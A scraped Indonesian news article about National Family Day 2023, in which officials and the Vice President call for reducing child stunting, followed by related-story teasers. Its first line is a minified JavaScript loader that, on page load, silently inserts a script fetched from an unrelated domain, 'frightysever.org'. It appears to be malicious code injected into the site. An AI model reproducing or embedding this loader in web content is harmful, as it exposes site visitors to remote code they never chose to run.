(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai momentum Hari Keluarga Nasional (Harganas) ke-30 tahun 2023 menjadi pemantik semangat untuk bersama-sama menurunkan angka stunting di daerah.
Hal itu seperti diungkapkannya saat menghadiri puncak peringatan Harganas ke-30 tahun 2023 yang berlangsung di Banyuasin, Provinsi Sumatera Selatan, Kamis (6/7/2023) lalu.
Lebih lanjut, Pj Bupati HSU memberikan apresiasi atas diselenggarakannya puncak peringatan Harganas ke-30 ini.
Menurutnya, tugas utama pemerintah saat ini tidak hanya berpusat pada menjaga pertumbuhan jumlah penduduk yang seimbang, tetapi juga mengupayakan peningkatan kualitas sumber daya manusia (SDM) guna mencapai keluarga yang berkualitas.
Baca juga: 125 Pecatur Polisi, Umum dan Kelompok Umur Ramaikan Turnamen Catur Polres Berau
“Mari kita wujudkan keluarga sehat bebas stunting,’’ ajak Zakly Asswan.
Dalam kesempatan itu, Zakly juga mengucapkan selamat kepada Gubernur Kalimantan Selatan H Sahbirin Noor, usai meraih penghargaan Presiden RI tanda kehormatan Satyalancana Wirakarya Bidang Pembangunan Keluarga, Kependudukan dan Keluarga Berencana atas keberhasilan dalam percepatan penurunan stunting di Kalsel.
Sementara, dalam kegiatan yang dihadiri langsung Wakil Presiden RI KH Maruf Amin, Kepala BKKBN RI Hasto Wardoyo, Menkes Budi Gunadi Sadikin tersebut, Wapres mengajak partisipasi aktif dan kerja sama antara semua pihak untuk mencapai target penurunan angka stunting pada anak.
Baca juga: Jual Barang Curian Mobil L-300 ke Batola, Ifit Naga Dibekuk di Basirih Banjarmasin
“Seribu hari awal kehidupan sebagai usia emas manusia Indonesia. Oleh karena itu, marilah kita sungguh-sungguh mengentaskan stunting demi Indonesia jaya dan demi manusia Indonesia yang unggul di tahun 2045,” katanya.
Menurut Wapres, tingginya prevalensi stunting merupakan cermin dari keroposnya bangunan pada tingkat keluarga. Dia minta peran keluarga mencetak generasi penerus bebas stunting diperkuat.
Prevalensi stunting di Indonesia saat ini mencapai 21,6 persen, sementara pada 2024 prevalensi stunting ditargetkan turun menjadi 14 persen.
Karena itu Wapres mengajak seluruh keluarga Indonesia agar memperkokoh peranannya dalam mencetak generasi penerus yang bebas stunting, fisiknya, mentalnya maupun kehidupannya.
Baca juga: Pantau Progres DAK Triwulan II, Bappedalitbang Gelar Rapat Evaluasi
“Karena menurutnya kelak mereka akan menjadi generasi yang mampu mengguncang dunia, seperti yang diucapkan Presiden Soekarno,” tutupnya.(kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.